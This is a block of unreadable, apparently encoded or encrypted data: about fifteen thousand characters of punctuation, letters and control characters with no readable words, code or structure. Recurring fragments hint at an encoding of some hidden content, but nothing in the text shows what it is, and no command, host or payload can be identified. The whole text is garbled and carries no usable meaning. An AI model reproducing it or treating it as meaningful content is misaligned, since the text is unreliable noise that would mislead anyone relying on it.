	%(5="kR6.@xk!73">hcS!s!=,qSZs	sB:)6klV	82h5Pc`	8(xV666=2SwR^G6I:k`tW C+k{ 	"?>DI{wUS /&39ve^s 9]R^G6H:kN|@	8(xwmq2&{qY6.@xwCs!WwRJ)+`bV^'K6,:&aaZW
Cz9hlV@=;6-~ur ??";{|cO
!b`^	s=2=&kMRJ)+`bV^'K6-xMp (2?6="VY{I!("+(qgU|>63=Laqg`	82h5hsgS"%e,qSZs	q!6RPMszG?>DI{wUR=86-@~ur ?-{|cO
 9b`^	s9!5WwRJ)!aa^'K6?"&xMp (2?hsgS	8(x	 ,$6RPMsJ!r=46klU	82h5Qc@'J"5IQ]RJ)6V|{I!,63=LVlsN:6H2hgR^G6I:RQZcO'1&"=~ur ?2&P|N=!-Ssw@ 86.@xY	!+4="ScwJs949~ur ?I&ScW
=5RSwR^G6I:RQYIU!("+(y`Bw &!QU':K62gc[	s5 "jgZI
	 (di s%aHMS]UB:)	j-)arclJK:7xI(962VxMF^'	9`)Uve^s J8I:Rkl{	f+(qc]T$H2QYw!7?M6drBW 6?)x|	 ,$K&PIC(qcgS"K6<M3fl8&)ywc_J<QpxWf+(qgc	B&>D{YcOr%%-AR~YUU'%"-EPZcz&:9V|{i'!&3"%ygC'	")A	SlN!5d)}cOr%%-AR~YUU'%"-EPZcz&:9V|{i'!&3"%ygI!,F=47faF 	8:$-&	kJ=>"9S|cM!	=&-:kcIS"5(4kXW!7HkcV"j|{Z'2K{]ZL
(f=@}Cr =H{|	 ,=5	VsgM "9>P]xJ
!a-E}Cr =2=R}Cr C5{wsI(=5"6RWgVRp1K& xwH?)x]wU!1a2)	jsip!3I5xIC+:gC!;5HMScdV!"`9&ggj*% +drchqK%jgZL	s5 "~wpN QQp5:"=y`Bw &=H{wR"6zI&ScW
='5.QZI!sF+9M`c=:klC='5&PZ`	; kYO
:iMPgsLB=)RPJ q)'4D{sLr%85-RbgUI(a6=~YwH$HkEUf)VcIJF`5=VsYI 8F+-kcl!sJ".
P|gU	!>6"9ScN'"$32VcdIrB=52:WRV!/%"59VcIJ	!>6"9QgJ=a=MPw`)RSs]C,$42"R~ZkQ!	%=. [{|{U'	%(56kcIC ?hcIUr"652h`W s%"-:RdsO!z,qS]T!r9=-:ywcC'	9!57PJ 81945	SMp (2:3,qSZs=>55bsN''56PkcIC?AVs J r1=H
PsV9+9&PygP	;G8&~]xsJ&3=P^P6C+kYO
:iI:PsgS'Gi6-AVl`^'	&.DQgP!a6PkcIC?@~N^$42"R{|c &hHkEP!r652h` Q",5e2.
P|gU66@cwc_qJJ$e R:K:$gXk- ?<&7grpp=KD~]UQ",5eKDMxV=#-%}]RWG86hcR
	%+6-A{qwri=Ib|cU&	!94"
{sQ!&hHQ|g		81+32h`W!5(H~lcO `42{sJ=+->hw@6z@hc N'	><M3fl8&)y`	W	;>3=EQsUs95=:kl{C2:K62gc[	r2(KDygPJa"Rkl{UGiH.QY	1()6PswC ;C?5-xMsC'	".D{]VB&32xrhp= gU]K?=QsIQ&$5HA}MR	8!>kl{W"G%3=M}^gN&66-%[x	 *J`326SVwR
+ h]VQB&32xrhp= gU]62D)qe]I(!5M
QZ{Q&:K62gc[	r2)KD{wcC'	9!57PJ 8!-:PMsV'B"4I6k]Q!=>">ywc_J<QptW:K62gc[	r2(KDy`Bw &h+(hcV!8:iI6h`s!!3@ZkZx):kl{S"1<6-QN^s)	Slh^s94I9[kL'%$3>@,qSZs)'4DPC'9%6"%[jw{WF`5=VsYI 8F;3H%VYwJ'&"5"PwI	"+&W|`L',5"3-!VsYI 8F<6-PYwMFc-ShgZ ,%a3">{skQ!	==Kb^I	9")6hcIJ 5:=hNW6H"P|N=!5[xNpW
	!2&bgR&?D)qeZs	!(Rhws
"!a6>DgdW-!=22%Tbw	Gi3=%Ibs]L 	%a2&WQsd 	r!=22%{sQ!&hI&W|`W
	=a2-bgU
"!a6>ppU	;GiI&	b^FO'	:z+(qeZ'	:z2&	bXsQ'g9MRhp'"z=Q|g	
	!d4=![xcU&	"?=A
Pcd 	s=b9VYwJ'&h={sY	!+4="ScwJs949xqUtq9<: x
5)5{]R^ r!d5=![xUI	!>1wdW+'3=%Ibw	 +G(q`I	 +Gi3=%IfYwMiI&	b^I	Gi6-AVl`^'	&.DVsg'652h`W,"-A
PcdW
	)952"bgRH	81+32h`W's:3=T`pN	z9MRhpr!(D)qeZs	!(Rhpr!:Rhp"F&3"%V|]NC?4I"Pc]		81c-Sh`W+G?Vs`Ja4@,qSZs '3=2PsdJ<5I>b]xVcS''56QQj=`4:VYgq!J89&klcV1f+(qc]T	=`:RQ]VR 5a69~`tI
6h9xMZw &)&klcV+C?Uve^s !&"&QMp 
194>
Wb!,)3-!csw@ ,5dHEQYUU1?5=MywcN!>&gqm ?4>9jgZJ
1?5=MywcN!>xMF^qM2f_Ic)}Cr !QQ /992)	Qsw	"	>!.#k!/">26
VsYC62D)qeZs,J(-2SwVR 5a629kl|^	a-D{|Bw &+h]Yx"=7=ywcI'%%)Uve^s -ywcN!>.D	SlcU!(qeZs +5K>kg@ sc/PxV	a-D}Cr "DhcIC1f+(qeZs <="Q|c!7?M6drBW :?)T|F^	=a46QMYT"=HVrS!sFa-ARQMVR"!=5){wc_J<QpxW9.EkcIC(qeZs %;6=L{^IQ
(--[xM|W
J$HkB 	s>9>%ScIU p!'5HjwxJ!/%"59{]xL'9"-APcU!!3="ygP:"<VY]U'p8<jwxI	;G8RPcIC %;6-2kYQ />>=RhcI(:iH1Ibs{@(:f+(qeZs%C+(Ter h+(Ter <?5	jsip!3I5xI"P{Ur%(4HPhaUJ!s:><M3fl8;KD}Cr %;6=L{^FOcQ^"6zH"
QYV
)'46klV+'6>1IbscI'(1;5=2QN S!sFa-ARbSr iMPgsM!>5H%[xsO r"?2&
QYUU'C?H>kcK	81$-EbgUV(z+(qeZ"F&3"%V|]NC?3="VVwR^!,5%.DSswC"64I&WPsd 	r!2&}^xN	1eIbs{@&C95{wp^
2695bs]L 	%a2&WQsd 	s!=&P]R^!,5%.Dkc		81c-Sh`W,$9bSr =Q|g	
	!d4=![x{'	!'5VYwJ'&hH
QYS ,5;6HhM@'65HAPs]S";B2&kgMFa~YwS''5DS|c	 	>gMklVr99H PYRL /&'6-A	hlVL &  	P!%$39Ah]C'9%6"%ybFP+84@,qSZs !56SVws	&1=)Vlc	!sG?2.
P|gU%>!QYgR!,J!2!kM	81'5:ScK8=MVc U!/"$6=-kc	"J$)V|cN(K'5-%S~Z{UF'6"~YO!K~4.DycOr%%-AR~YYT,94HVYwJ'&#.bc Rf=MVc U!/"$6=-QgP!a9{^/:z+{wp^
2695{wp"F&3"%V|]NC?"RVsL	81c-Sh`Wr99H PxL!&?=MkIIs h9>	P!%$39Ah]Qr!!5H@[xY	'	2gMQYwS"s)'4AhgI!,!=29AS|pWs!'I"hc	,<:SkY I'!9=Ibs{@&C+Z~kO ,Cz9M	Slh
+ QQ~!sJa"=y`Bw /CD)hZgLr!!5H@kc	"J$hll!sJ"4{|Bw &!SlC"><M3fl8&)ygpI)&gqm ?4>1jgp 
	%(5=&kR:K62gc[	r2)KD}Cr <?5	jsip!3I5x :5IPsQ!2,qSZs"*>=jkI!&><M3fl8&)ygpT	(16":QYgQ585=!xrhp= gU]62D)qeZs!s974I&
QZ`V
,J8HTSswL=4={p`N*!D)qeZs"%9="yw{}!sFa-AR~acI r1'4HRScL(1932&
kYMFa6ScIU!,5%.D~Y{Q s%$-Eywc_J<QptW!D)qeZs"*6=.SPY	"J$H"VSl	 885-hbS!sFa-ARjc &8)WCr )&RWlsU
C6=EPcg_sJ$3="Vr	&1=9&gqm ?4>1jgZ+(SsgQ%(9>&P	Fa,&WQsd
:65	V|]Nf+(qe] 
%"4H!,q]p^
2695{wp^
2696hcwR:>:PZcU!/"%2h`^^1&5=klcI!sG'5H:Rhl`M r!(-2{]Z+	hZp^1MhcV	J K:7eMUN595Q]xI6C+(SchV	)&)6Uve^s 3HPsdV
1<-MywcT !+(qeZs %;6=Lcsk@5:9&QwF^2(9Uve^s :PU!<49Uve^s h+(ql U&aD)qlw &!cwc_J<QpxW2h)5PcET"=5{|Bw &6--{ckI!%7"QcC!7?M6drBW 6?){|Bw &)&Qwp 
1<5I6P]VRp1K& xpA	pC"9QxMZ+h]VR/2!2,qSZs :K62gc[	r2(KDbgpP!!39=Uve^s :PU!<49Uve^s h+(qlw &h+(VO%9="ywZ-:PMpW).Psd^'J'529Z~VA+:6"-kIQ r>hHMVsgL'G?D)qc]T29hbU&+329cwc_J<QptW6)6Uve^s %;6=LxkI!&65MR{sg"=a4Uve^s +5J.PcU (!D)qe]@!`4@Uve^s%C)&SSc`^14=MSlY_s%a42SSc`V)!5="VU (:K62gc[	r2)KDy`Bw &!
x|gI62D)qeZR': kc U	pC6)6#hY]JJb5"ywc_J<QptWf+(qgcW"!3HA
PcdW2h?6ScIUr9'3"5xrhp= gU] [{sgJ s&6=hwp 
1&5I:WrW!?4hwYx,"-PgN!7?M6drBW 6?)}Cr %;6=LxNIC 5$A
PcdJ+4=2b]pW,a5-QsgS"5"H
QZ|V994H"kc U!7?M6drBW 6?)~]R^	=&-@Ig]iI:kc
$=jkI!&><M3fl8&)y`
 sJ6-"Qg]<6-Q]:K62gc[	r2)KDy`^W!b|NGz="Pc]C s'5Z~NGz9VO%(5":&PIO (:K62gc[	r2)KD~]R^	=&-@IfUL:'I>VlpJ+4=2b]pW(!`6-& xQ!&?)@~MRL	!<PYwM5ZkZx	; kYO
i4I6
P^}"5$H!Vs]MiI:kc
$=2RhgVWB%-%apAI/>?=.PsgS'%)	jsip!3I5xIG?>QswL*5;H"QMs	"B=QsQ!+G6A	klcU-Dhwsp,g4hY]J5a6-Eywc_J<QptW!b|NGz-M	Sck
	!!5-!TbwC 5$5~YcQ'&>KPg R
g6.xMIT"=5"&PcdV	J K:7eMUN5)xNIP +Gi=IxNBw &!hc N'	><M3fl8&ygpI)&gqm ?4>=jgp 
c6-"QxNBw &!Sl_,")	jsip!3I5xI
(xs^194>
WgVW,=3{wUp">5=S|`W2?=MQPYIO"?95asg	%%49{wUaxV!J:x{U!,5%){wUl!r%;69}Cr %"4H!,qSZs	C6)6
QZ{Q&?HP`W2?"kc U	86K&VcV	8f+(hY@5;69	PgsQ 82:3,qSZs=>55bst^"	9=D{sLs!H[{YRV!/%"59VcIJ?5{|g@!%$HM	hgVRp1K& xpA	pC!9@xFW?AV|{	!s'3H"ywcG?9{^W(>4I&VsJ!r=4	V]Z 2:K62gc[	r2(KDbMR+F39x|hL	8159Mb]R		*!Z~t
f+(hcV!82?=>b^IP +G?D)ql
"!;69	jsip!3I5xI
	 (kwC2?3VMR+kYO
i42>{sJ=+-E`W6C+(xskN
C6=.QsgL!7?M6drBW 6?)xxW (qc]T!<49WCr "ScIU29=.PhV	)&)5ve^s -"Ss	^"	!%52:hcI;6=2QMYx/9=-%xskN2)>=RygZ+(cskS!J+)	hZpI6C+(Ter -:PMpWJ&4!IxNBw &->hcwK6C+klU
>6-Ps]W"	"?D)qeZs"*>?6Q@5:->hgVRp1K& xpA	pC!9WCr -"Ss	^	;:6"-kIQ r>h5-{|	&=)>kcKr9'3-A	~cO!J(5h`wU&)H:Ps@,9"-:}Mx	; (qeZRsJ:)5[{qsV">5=S|c_,")	jsip!3I5xJ'	9`)Uve^s -:PMsC'	974"PswS94>
WgVW	=&-@xMFWJ+4=2b]RI194>
WgVW)'5%xMFWJ<5HARb]RI!;5H&ygWJ:6"-IxNBw &"D,qSZs 9(-2}Cr ;":{wUS"B'9Tve^s !{cgM 	!d9&gqm ?4>9jgZ^1f+(qeZs		1=4E{p^ (qe]T!r:>=[Qc@!%$9&gqm ?4>9jgZM :6.@[pBM!!+D)qeZs :4="Pl|^;C6=VwZRp1K& xpC	pB3=yZsO'8e95Qc@!%$9&gqm ?4>9jgZM	%)}Cr -ywwxs%5H%xrhp= gU]2:4="Pl|IC+(qe]Us'9&kcZ	r"64H"R{|sU ,B!4I:PC
84@ZQ@"1a&kgMFaE~ZpC/)952"bgxP;'4H:Sls	(f+(qe] +PsgQ /=a"&kcV!D)qeZs=>55b|S ,&3>A	 
(:f9Mk{I 	"z=.QY^!sF+3->Sl` 
,>5"PwIL'"<xMpL
	%(5="kR:K62gc[	r2)KD{w^	p?=ASPsFJ'!4ASs OFc-ShgZ ,%a3">{skQ!	===Ibs]L 	%a2&WQsd '%e396kc U=>5-M	{|kQ!	%=)=~Z/=a4Q|{I!/!<9PMRJ
)!5="hl{M 8:K62gc[	r2)KDygFM$=Ibs]L 	%a2&WQsd  r%85-R{|kQ!	%=)=Ib]xJ<5I>b]R+QYgQ"; (kwC2?-&VwR+h]V^
+ISlcQ,=9&gqm ?4>1jgZI
	 (qe]Us'9%ScIU
+5Vws
 ,a-2PsdW6C+(qc{@5#D)qeZs%C+(SchV
5=5"6RWgVRp1K& xpC	pC!9WCr )&RSc U
C6=.PsgM'%)	jsip!3I5xI6C+(qgc_J<Qp|W2h2:SkZ	 (:K62gc[	r2+KDgZ+(xskN
C6=.QsgL!7?M6drBW 6?)VMxI6C+(qc]T!<49WCr +#hZU@"!=9&QwFRp1K& xpC	pC!D)qeZs :PU!<49Uve^s -"Ss	^	p=93"	{`IP +Gi4H:Sls	/2+ D{^Br=;4VpW6C+(qe]x'J`Hxrhp= gU]!a6-E~wc	"B=.,qSZs h+(qe] +kYO
iMPgsO!/=`EVpP8$3-~s!"9{w^'9"-APcU!7?M6drBW 6?)~]pW"5"PwIZ	;52 RSs]C/!=22%VYwJ'&!I>V|g@!(1<-h`BP+a"Rkl{U1$-EblcU&	"6H
Q| ,?">k`W6C+(xskN
C6=.QsgL!7?M6drBW 6?)xxW (qc]T!<49WCr "ScIU29=.PhV	)&)5ve^s -"Ss	^"	!%52:hcI;6=2QMYx/9=-%xskN2)>=RygZ+(cskS!J+)	hZpI6C+(Ter -:PMpWJa"Rkl{UGi6-AVl`^'	&.EVc{M""632Vcd 
+Gz@Z~kO ,Cz ,qSZs 9(-2}Cr ;":{wUV:3-ExN^w &)&{p^)!5="hg	s='5&PZcC!7?M6drBW 6?)Uve^s :55[{pp+	Swp 
5(42WywRN2&>5pIP +G?9~wRW (qgcJG6)6V|{JG>=9}Cr M{wVR"C&5	S`FR!%$5yMcI1f+(qeZs	3,D~^^ r1(6-ARh]VW	2( 9P{R!; &jgZI(6 ,qSZs +3HRkV^1'4%xs[	5)5{|Bw &+(kwC2&5xsY[-C6DxMpW8184"
SNBw &+(kwC2d5xsY[-C6DxMpW8184"
SNBw &+(kwC2)>xsY[-C6DxMpW8184"
SNBw &+(kwC2) xsY[-C6DxMpW8184"
SNBw &+(hsgT%"3>xsY[-C6Dxs[	56QYgQ"; (qe] +(xsK; (qe]I(2>=@b`^;:!2,qSZs =@bgpN6C+(qe]I(2>=gp
!"-@{|BR" &)5bgsC 	9!5&ywRU	SgBAG?=>b]R%C+(qeZR" ))5bgpW9(Uve^s )&eN{]
Gh9>P]x+(Ter 6"D,qSZs %;6=LxNI	9")6hcIJ r19HhNA
==5=kccR"F?.!kYUS!s'4D^x@+:(RQ^'"6PIO +C; 9N|C++4=2{|	&=)>P	=6-Vp^^!,J(5-2}Mx	1(.@~]cV;15Z~s@GiI:kcJa>@ZVs`^,;5HQ^S+(>=Vb^IN ,&z@	SrBAG?9MQYdJa>@ZVs`^,;5HQ^S;>+ 9b^IN ,&zAVs J r1=H
PsV9+9&eN{]G?9MQYdJa>@Z~c@+'3=2Psd	; (qc{@5#D)qe]S==9hcQ!&?D)qeZs"*>92Pls	&:K62gc[	r2+KD{wZ^&6C+(qc]T54"kc U!7?M6drBW 6?)xrhp= MU](qeZs=>55cwLa2>PYwM6i=IxNBw &+P|U+(qccI?2:QY]N'F?=ASPsFJ!/%"59xM ,=5:hsdV	J K:7eMUN85)@{]IL'"9=y`FO s=(6"6Rb]RI6C+(Ter -:PMpW)'4DPC'9%6"%[{YRV!/%"59VcIJ?5{|g@!%$HM	hgVRp1K& xpA	pC!9@xFWF`5=VsYI 8F$-E~ZkQ!	%=. hlc ,G62Qd
+Gi6-AVl`^'	&.ERhlY	
F95-![PYwM1c-Sh`P	8F>3=EQsUs95=:kl{C!7?M6drBW 6?)xMx$42"R{|c &h4I"Pc]	
	)952"bgx(:z9MP{M(f+(qe]P ,%96 ,qSZss5+)5Vss?D)qeZs"*>92Pls	&:K62gc[	r2+KD{wZ^&6C+(qgc	"B=>DQc@'Ja6-Eywc_J<Qp|Wf+(qeZs"*>2&PcdI
	 (qeZs"*>"&VcV!7?M6drBW 6?)	Vs]M:3=hgZI+(qe]Us'9%kc]J
f+(qeZs %"4H!,qSZs -"Ss	^	p!'3-:hc`Q	; (qe] 
%"4H!hcV!82?2	{|cI!&6MPcw	
f+(qe] +PsgQ /=a"&kcV!D)qeZs=>55b|S ,&3>A	 
(:f9Mk{I 	"z=.QY^!sF+3->Sl` 
,>5"PwIL'"<xMpL
	%(5="kR:K62gc[	r2)KD{w^	p?=ASPsFJ'!4ARPgS"Fc-ShgZ ,%a3">{skQ!	===Ibs]L 	%a2&WQsd '%e396kc U!'3-:{|kQ!	%=)=~YcQ'&>Pg R
g6.{]F^)!5="Vs]M:K62gc[	r2)KDygW
+Gi6-AVl`^'	&.EVc{M""632Vcd 
+Gz@Z~kO ,Cz ,qSZs 9(-2}Cr CkYO
iH&V^W6C"PkO!r!=4}Cr%C+VcS''56
kcI!sF5HAPIU62D){wp^
<92Pls	&:K62gc[	r2)KD{whT
5=5"6RWgVRp1K& xp@	pC!)6Uve^^
2695{rUmr==3=:PEI%>!xrm9,> xYl17?M6dwU]G?4I&	hl{@r!'HMSVwRJ
	!(3-!}Cr
2695{wpRp1K& xpA	pC6DxMp@(*) ,q]p^
1h="QgI(9-EV|ZV	J K:7eMUN5),q]p^
2695di s%aHMS]UB:)	j-)arclJK:7xI(+3=&QZ{_'J75I"RxMF^f+,qS]I(!4I:VwVRp1K& xwH?){|Bw &K:2Qg	sJ'6Hys R:K:$gXk- ?<&7grpp=KD~]UQ",5eV|{f+(qcPr=a">RywZ-"Ss	^
,"$H-k R/)952"bgRWp$,qSZs		!=5"5bgsx"='5-xrhp= Ssw@ s%aKD{wUo*%9{swR=+5=2SsgC925%{]Rp1K& xpA	pC${]
 sJ29	jsip!3I5xI925j|cZ29=y`Bw &6--Q|{UpJ%"&SwVP
G H&QMBVpGf)xwtP!7?M6drBW 6?)	Pcw	s!+Uve^s !#kYR":>=E
VsV;55)WCr )&*fqz V`W2h?6hlcS's">.,qSZs =H{w{S;C?@	`Ii*5KkUR	pC$U{^Bw &"D,qSZs%C+kYO
9::~Y'	1`39APkcI h=x|cU!2$U{^Bw &-:PMpPF;AVlcN'"$4H:PIJJ&>DhwS(F'3"&Vl`L s=(5HasgIsa=Uve^s !a-E{p^!s97H"RjJ5$9Uve^s %;6=LQc@!%$9&Rhc N6{]F^		!=5"5Uve^s %e6"%Uve^s%C95{s]T%%42&Wywc_J<kcAQ&5)-{cgM 	!d9&gqm ?4>1jgZI,6fU'='5H hgYM&><M6`b{n93J7drs_J9ygW929{ppI6C"PYU!=4}Cr
26="Ss	^
++I>Q|`!QScR!r$".PZ`I
	!5&VMS1a3">`lkU!/!+?"Phc	* /&2dI6C32{sM	>6)6hlR^9("xMRI6C32{s (2h>5UveAT'F;3=P]sK =)6Uve^s',5(=@bgpV's$=MQ~_gFa)5M{sdL's!H}]sU,=2/:hsd6--P]p 2+9WCr ;3"=~`Bw &6--kg@+C&+D)qeZsJ;3-EPZ`Ls*$HE	~ZkQ!	%=>Dk R p;3">}Cr =52:ve^s ;3"=yNBw &h="Qd^"*>55[bgp	62D)qe]S':# ,qSZs"*>I"{pF^sB:4AhcW'!+(qe]R!s=`5-"VwS(F;5-%VYwJ'&6)6PccCs=`4DUve^s %"4H!,qSZs =`4D}Cr CD,qYk!,=a6-M{swR;5-%{|Bw &;5-&~ZsO !D)qcM	>$42"SwYS!"!D)qcM	>$42"SwVW	8f+(kg@
C6HE	QMJF?3=`Bw /CQ@"1a=Uve^s=>55bsVA*='5:Psds)	Slh^s94I9[kL'%$3>@ZhY@!1$-EbcT
J$4I"Pc]	9!	~YT,=%9APkcICh9PsgQ -?" 	~YT,J`326SVw`.ExFWs"$H-k R/)952"bbFWf4"RVl{L
)952:} Q">3=QMS!"$32VcdIs<2&Sl|L929ASsgS"s%:" 
ys!"5"PwI	"+:hw`)RSs]C/=>5Ihl{@!r9+:hcK"~.xFWh-hlEWF`5=PZgJ!a6=~YMFc-ShgI	"+:PU_9(5I>~YV=#-%M`AZ	p?. [{|{U'	%(56kcIC 8hcIUr"652h` Q!94 @}Cr )'4"
kVV	J> fr[	s5"6-2hl|W1945	P]p (2:3WCr !	V]p 2?WCr -:PMpWJ&3=PgN
9"bgxM	8F>3=EQsUs95=:kl{C!$)@~gxJ'42&QY G?D)qeZssJ$3=Vcd"D,qSZs=>55bsN''56PkcIC8AVs J r1=H
PsV9+9&PygW
+G?&~]RsJ&3=P^W6C"D,qSZw &=H{wRr==5="Vp"F&3"%V|]NB83"&RP^!sF;5=SNP!:=%khL!"9VYwJ'&!Hys`Ls*$-
WwS"%;6H"	ylEQF`5=PZgJ!::~YwJ"5+.
P|gU"$H-QYO'pJ=4>QZ|Ls=H hp	A-?9} U!	==2HPZgJ!$3-~s`Ls*$-kl|L',5"3-!hwS(F+6=MQjg@ ,J(4ASsgS"s%: 1TjwUZ	8f1)=VYwJ'&h@I{^^F'=Ibs]L 	%a2&WQsd s=H PV^!,5%.E
SYw
	)952"b`t^	8G>9&ciq HE	|gVRp=.$gXBW!<M+fl	pC!
SYw	pC~H:hcK"?ygW(1+-A	{|gC"F??2)cbV^$42"R{|c &hHkEP!r652h` C"JbH"QY@ 81c-Sh`A
$92Pls	&:K62gc[	r2(KDT|FRq=J (`bEM&><M6`b{n93J7drs_J9ygW r!:">jcOsJ`39bMUS"%;6H"	xN^W	8$ @QYgR"9=I%QcR9(2&{|	J`395^TiHAkZx9( @ZVsg'5(-1kIQ r>hkl{U1$-Ebc'	1`396V|]JC8Mhsg@9'32&P`^NsB94P^^N8:64"
hsL!	z ,qS]I(9-EV|ZV	J K:7eMUN5)WCr =H{sY	!+4="ScwJs949{]`^
(G:K62gc[	r2)KD{XIL
(Fb4HM$WwVRp1K& xpA	pC!.,qS] -:PMpWJa"Rkl{UGi3=2Psd^ r!d5=![{Y{O ,!=4Q|V^ sJ"6-%{cT8-:h{O'F:-:Ps@(>`.!UkY@%("&Qp^N 	f6hcIJ 5:=hNN
==5=QswS"F?.5V]R'h1wdP+a4@ZVs`^'s:3=[{^tU
+G:9MRhp'"z=Q|g	
	!d4=![Vsg'1$-EbcM1+32h`P,J(="}^sN&b6-&RSp^A2==PK:5Ibg{K =3"VwZ
+GiI&	b^FO'	:z9MRkc{JG?D)qcgS"K6 hY@!GiH&V^ s=(6"6RbY`Ls*$HE	~YkOr%+9UbwCr9!42%IxNBw &b4HM%P	:>.,qZw &C"kcI!sG6-:RScLs%">Pc!2,qSr <9&gqm ?4>1jgp 2?2-"xMZw &6--c|gL!$6QYgWr9=4=
kdV	852<	yFI	>$1~wpW	86KM%aaIpK!),qSZs !!)gYU!66=2{s{UG64"PkU!D)qe]U!	==+(qe]Us'9SPYII!, 6">PxQ	; 5{wsI(:K62gc[	r2)KD{`^	r=4ve^^
2695{|UC!q=-&Q]VI6C-"Ss	^	;>.A6Vc]S"!=9M`c=:klC='5&PZ`,%95=W{|UQ!/"63=LQYgM!r)=2&hgsC"%"5>LZkZx6662>h^S
J$HkB 
,>5"PwIL'"<WcgC!A8hl|s6z9M	Slh	; QQ~!sJa"=y`Bw /CD)hZgLr!!5H@kc	"J$>SVsgT!r9;){|Bw &b4HM+hcwR:>.,qS]I(66":hl`V	J K:7eMUN ,Ja5ygpI
	 (hcV!82?=bX{U r%"329Z~VA+:6"-kIQ r>hHMVsgL'Gi4I6
P^l&1=QsQ!+G6AVs J r1=H
PsV9+9&gqm ?42>Vs	W$5ZQsQ!+F">PhlxJ+4=2b]pW,a5-QsgS"5"H
QZ|V	J K:7eMUC9c"=jgZL	;84@}Cr !xrhp= QY	!85>D[{wUT'	2?9WCr "kcI!sG63I:cZ{'%5I>hgVR"2"26QZ`J	'H~wcN=+)6Uve^s =.{p^)a4<MPL=a9&QwF^		1'4%Mx|sO /"g1}Cr -ywtR/2!2>V|g@!(1<-h`Bw &+	QYgC
C6=.RQrJ!s!5	hZpJ
!"5HP]F^		194I9}Cr /6V|s_s'4H!xskN (qe]@!`4@x|{U ; (qlw &1)6P|U"*>9&gqm ?42>Vs	W2h)5Pl]C ?9WCr "kcI!sG63I:cZ{'%5I>hgVR"2"26QZ`J	'H~wcN=+)6Uve^s 2>QMp 
1%2":PrS!sF$-:RywcI G?ywcN!r9a&P{	+>+>-~wpR!J?6-@{wcN=+.,qSZs 5"QcI_s'4H!x|{U 8f+(qeZs ,%a3">{wc@>f+(qe] "DhcIC<95	jsip!3I6PcO	pC6.DxsW r5"5{|Bw &-.SPY	"J$2P{@'!=MkdV	&9&P{	!"5HP]FR 5+4WCr )&V|x^286=MVpW
(G:6"5{]R^ J(3>D{]R J(39@xMs s%()~]cJ!s!5@xMsN=+3HMhpW
(G:4=2QMP	81:A
Pcd  J+3=hl|P6C+(qgc@>6)6#QsU_sJ$5"VwVR r!(.,qSZs 4=kIO s&>2>QMZ+(QYg	'9$9&hl|+[ve^s C(x|s==4I9bgpN6C+	klc	B&329bgpN6C+	Qg@',%(>DhlYN!J:)}]xJ
!7?M6drBW s%(3"xI6C+h]VRp1K& xc &?)5[bgpA1f+(qeZR'%%495[{qsT"=9hlcSr194I:QhwRI6C+(SchV
+H2QYw!a-EygpI+(hY@5;69	VsgM 1945	Ps]L62D)qeZs :5=hgp 
%e4=hsdV
+895	Ps]Lf+(qeZs  #=2RVsgM 	!+D)qeZs !VO/9`3="%P{S2:QZkU - &)#x|U /)=4jgF^	!5" rJ
!"6-AeNs]2!2,qSZs )&VcS=+Uve^s +kYO
i@~YY	!+4="ScwJs949xsII!,%3<D~]Rs:zS|cM!	=&-:kcIS"5(4	Ps]L &)xNIP +G?D)qeZs h+(qeZs <?5	jsip!3I>VYg@ s&?)WCr +(x|cM 2h9=}Cr +(hY@!!":RQYIU!(:5=hbBN%.xsZ2f9DxsZI+(qeZs		!%495bgpR!$,jbBR"Cf+(qeZs #&
V|cU!1a4 ,qSZs -yws
 sJ4"RhakO ,==?5	Qg@',%(  6~qpR s%(3"eNw]2:5=hbBN62&QwZ^1f+(qeZs 2:SkU r># ,qSZs +kYO
i@~YY	!+4="ScwJs949xsII!,%3<D~]Rs:zS|cM!	=&-:kcIS"5(4	Vs N (qeZs C(qeZs%C+(qlw &1)6P|U"*><M3fl8a2"6x^C6WCr 2&Plp^1hgVRp1K& xcIr"?)Uve^s !Sl_9("x|cU!2!9,qSZs <5I>kcV!a-E{swC
!"6-Aygs+(qgcJ"F=>DV|{I!:5=hgZ+(qgBK	5a3="Q|cC6C+(qe]I(63I:cZ{'%5I>hgVR s%(3"eNs]2:4H"VYg@;5595	jsip!3Hh]L	pC"9&ScU2!2,qSZs )&VcS=+Uve^s +kYO
i@~YY	!+4="ScwJs949xrhp= PUI!(5)@bwP+?RPcIC %;6-2kYQ />>=PYdI(i=IxNBw &+(Ter "D,qSZs%C+kYO
:i4I6
P^{'	!=5"6RQN^r=&-@I{wcQ'	!=5"6RQMp r195A6VcS=+QsQ!+G62:SkU r>iH&V^/:z,qS] -:PMpW)>VlcU,J(H!Z~VA+:6"-kIQ r>hHMVsgL'Gi3=2Psd)'4DPcg	"J:"6Q`	!(Rhp r195A7WlsUJ+4=2b^FO'"zD)qeZL	;a>@ZQgJ=a=A
Pcd  	9'3=LIbsN''56PkcIB<325I`XchJ'42&PJ&3=P]s`.EWlA!F2,:PpFO!r1a6-Mb^IO 	!!5H@VYwJ'&h4=QcFJ+3=hbA!'5I6RScL+'4H"hc	+'3=%Ibw	 +Gi32=Ib|cR((~]R"F&3"%V|]NB>6-&	hc^!,5%.E{|kQ!	%=)=~YY	!+4="ScwJs949xqUtq9<: x
5)@{^W)@bs]L 	%a2&WQsd ":="{sQ!&h)6PkcIC8AVs J r1=H
PsV9+9&gqm ?)ygW
+G?+(qgW$42"R{|c &h6=	hsgL
F95-![kYQ /==396PkcIC8AVs J r1=H
PsV9+9&gqm ?H
QZU'5)@{^W)@b|NGzH"VYg@/1'4%Z~NGz9MRhpW)@b|cR+!56SVws	&1="&W|`^!,5%.Ehl{:632Vcd 
+6(@~^pL:z9MRhpr!(,qSZs(i32=Ib|cR++4=2b_{@'!=2&WQsdr=&-@Ibw	G?+(qgW	!:kc{U!Gi6-AVl`^'	&.EkccI!81$-Eblc &632Vcd 
+68=:hcK"z9MVs|O 5+4I	bwJ9=5>@Z~cR+'32=IxCr $ RQ^'"z9MRhp'"z=
kYgJ
	=a2-bg{N!:6-A~cIU/"g."Wwx$42"R{|c &hHkEP!r652h` @)=4:{|kQ!	%=.1kYUs=>@QYg9+)5PsW"G6.@PY]W!s!9Mkc{U!GiI&	b^FO'	:zD)qeZL	;a4@ZVs`Ja>@ZVs`9"b^II!/1`396RWlsU99={sQ!&h32hgs`.D]x
!!I&PQ /iH
kYgJ+'3=%Ibw	 +G?+(qgW	!(Rhpr!:Rhp'585=!Qc!&h6
hscI!,%5="Vp^A1e@ZV|x	!:QswL*'HbwC 5$Vs`	6C+xNI	Gi6-AVl`^'	&.ERhlY	
F95-![PsW"G632Vcd 
